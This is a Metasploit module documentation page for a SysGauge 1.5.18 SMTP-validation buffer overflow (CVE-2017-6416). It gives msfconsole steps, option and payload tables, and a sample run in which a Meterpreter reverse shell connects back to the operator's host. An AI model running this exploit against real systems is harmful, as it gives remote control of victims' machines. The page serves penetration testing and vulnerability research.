SysGauge SMTP Validation Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/smtp/sysgauge_client_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SysGauge SMTP Validation Buffer Overflow
Module: exploit/windows/smtp/sysgauge_client_bof
Source code: modules/exploits/windows/smtp/sysgauge_client_bof.rb
Disclosure date: 2017-02-28
Last modification time: 2018-07-12 17:34:52 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-6416
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 via its SMTP server validation. The module sends a malicious response along in the 220 service ready response and exploits the client, resulting in an unprivileged shell.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/smtp/sysgauge_client_bof
msf exploit(sysgauge_client_bof) > show targets
... a list of targets ...
msf exploit(sysgauge_client_bof) > set TARGET target-id
msf exploit(sysgauge_client_bof) > show options
... show and set options ...
msf exploit(sysgauge_client_bof) > exploit
Knowledge Base
Vulnerable Application
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 via its SMTP server validation. The module sends a malicious response along in the 220 service ready response and exploits the client, resulting in an unprivileged shell.
The software is available for download from SysGauge.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/windows/smtp/sysgauge_client_bof
- Do:
set payload windows/meterpreter/reverse_tcp
- Do:
set LHOST ip
- Do:
run
- The user should put your
SRVHOST
or other applicable IP address in the SMTP configuration in the program, and hit the "Verify Email ..." button. - You should get a shell.
Scenarios
Here is how to typically execute the module. Note that the client must input this SMTP server information under SysGauge Options and hit the "Verify Email ..." button.
msf > use exploit/windows/smtp/sysgauge_client_bof
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf exploit(sysgauge_client_bof) > exploit
[*] Exploit running as background job.
msf exploit(sysgauge_client_bof) >
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Server started.
[*] Client connected: 10.0.0.128
[*] Sending payload...
[*] Sending stage (957487 bytes) to 10.0.0.128
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
Go back to menu.
Msfconsole Usage
Here is how the windows/smtp/sysgauge_client_bof exploit module looks in the msfconsole:
msf6 > use exploit/windows/smtp/sysgauge_client_bof
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smtp/sysgauge_client_bof) > show info
Name: SysGauge SMTP Validation Buffer Overflow
Module: exploit/windows/smtp/sysgauge_client_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-02-28
Provided by:
Chris Higgins
Peter Baris
Available targets:
Id Name
-- ----
0 Windows Universal
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 25 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload information:
Space: 306
Avoid: 4 characters
Description:
This module will setup an SMTP server expecting a connection from
SysGauge 1.5.18 via its SMTP server validation. The module sends a
malicious response along in the 220 service ready response and
exploits the client, resulting in an unprivileged shell.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-6416
https://www.exploit-db.com/exploits/41479
Module Options
This is a complete list of options available in the windows/smtp/sysgauge_client_bof exploit:
msf6 exploit(windows/smtp/sysgauge_client_bof) > show options
Module options (exploit/windows/smtp/sysgauge_client_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 25 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Universal
Advanced Options
Here is a complete list of advanced options supported by the windows/smtp/sysgauge_client_bof exploit:
msf6 exploit(windows/smtp/sysgauge_client_bof) > show advanced
Module advanced options (exploit/windows/smtp/sysgauge_client_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smtp/sysgauge_client_bof module can exploit:
msf6 exploit(windows/smtp/sysgauge_client_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smtp/sysgauge_client_bof exploit:
msf6 exploit(windows/smtp/sysgauge_client_bof) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
6 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
7 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
8 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
9 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
10 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
11 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
12 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
13 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
14 payload/windows/exec normal No Windows Execute Command
15 payload/windows/loadlibrary normal No Windows LoadLibrary Path
16 payload/windows/messagebox normal No Windows MessageBox
17 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
18 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
19 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
20 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
21 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
22 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
23 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
24 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
25 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
26 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
27 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
28 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
29 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
30 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
31 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
32 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
33 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
34 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
35 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
36 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
39 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
40 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
41 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
42 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
43 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
44 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
45 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
46 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
47 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
48 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
49 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
50 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
51 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
52 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
53 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
54 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
55 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
56 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
57 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
58 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
59 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
60 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
61 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
62 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
63 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
64 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
65 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
66 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
67 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
68 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
69 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
70 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
71 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
72 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
73 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
74 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
75 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
76 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
77 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
79 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
Evasion Options
Here is the full list of possible evasion options supported by the windows/smtp/sysgauge_client_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smtp/sysgauge_client_bof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8113 Merged Pull Request: Add exploit module for SysGauge SMTP server validation buffer overflow
References
See Also
Check also the following modules related to this module:
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
- exploit/linux/smtp/apache_james_exec
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/smtp/haraka
- exploit/unix/smtp/clamav_milter_blackhole
- exploit/unix/smtp/exim4_string_format
- exploit/unix/smtp/morris_sendmail_debug
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/smtp/qmail_bash_env_exec
- auxiliary/client/smtp/emailer
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/fuzzers/smtp/smtp_fuzzer
- auxiliary/scanner/smtp/smtp_enum
- auxiliary/scanner/smtp/smtp_ntlm_domain
- auxiliary/scanner/smtp/smtp_relay
- auxiliary/scanner/smtp/smtp_version
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/server/capture/smtp
- exploit/unix/local/opensmtpd_oob_read_lpe
- auxiliary/client/hwbridge/connect
- auxiliary/client/iec104/iec104
- auxiliary/client/mms/send_mms
- auxiliary/client/sms/send_text
- auxiliary/client/telegram/send_message
Authors
- Chris Higgins
- Peter Baris
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.